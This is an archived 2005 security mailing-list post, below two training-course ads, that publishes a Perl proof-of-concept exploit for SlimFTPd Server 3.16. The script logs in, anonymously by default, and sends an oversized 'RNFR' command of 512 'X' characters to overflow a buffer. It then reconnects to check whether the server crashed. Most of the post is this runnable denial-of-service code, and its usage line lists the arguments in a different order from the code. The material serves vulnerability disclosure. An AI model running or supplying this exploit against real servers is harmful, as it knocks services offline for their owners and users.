Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

SlimFTPd Server: PoC Exploit

Subject: SlimFTPd Server: PoC Exploit
Date: Fri, 22 Jul 2005 01:51:25 +0000
---------------------------------------
Affected version: 3.16
Bug found by RaphaÃl Rigo
PoC exploit for demonstration
---------------------------------------

*#!/usr/bin/perl*

/# --------------------------------------------------- #/
/# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #/
/# version 3.16                                        #/
/# bug found by ml-bugtraq@twilight-hall.net           #/
/#                                                     #/
/# coded by k0r0l from acolytez team                   #/
/# visit http://acolytez.com for details               #/
/# --------------------------------------------------- #/

*use* Net::FTP;

/# geting data/
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

/# ===========/

*if* (($host) && ($port)) {

/# make exploit string/
$exploit_string = *"*RNFR *"*;
$exploit_string .= *"*X*"*x512;
/# ===================/

print *"*Trying to connect to $host:$port\n*"*;
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; print *"*[+] Connect OK!\n*"*;
print *"*Logging...\n*"*;
*if* (!$user) {
$user = *"*anonymous*"*;
$pass = *"*ftp@ftp.com*"*;
}
$sock->login($user, $pass);
$answer = $sock->message;
print *"*Sending string...\n*"*;
$sock->quot($exploit_string);
print *"*Server $host may be down. Checking...\n*"*;
$sock = Net::FTP->new(*"*$host*"*,Port => $port, TimeOut => 30, Debug => $debug) *or* die *"*[-] Connection failed\n*"*; *if* ($sock) {print *"*[-] Exploit failed.\n*"*;} *else* {print *"*[+] Server crashed!\n*"*;}


} *else* {
print *"*SlimFTPd Server - PoC Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n*"*;
}



-- +################################+ # Dim K0r0l (dim@acolytez.com) # # # # http://AcolyteZ.com # # Net-security, coding, soft etc # +################################+

<Prev in Thread] Current Thread [Next in Thread>
  • SlimFTPd Server: PoC Exploit, Dim K0r0l <=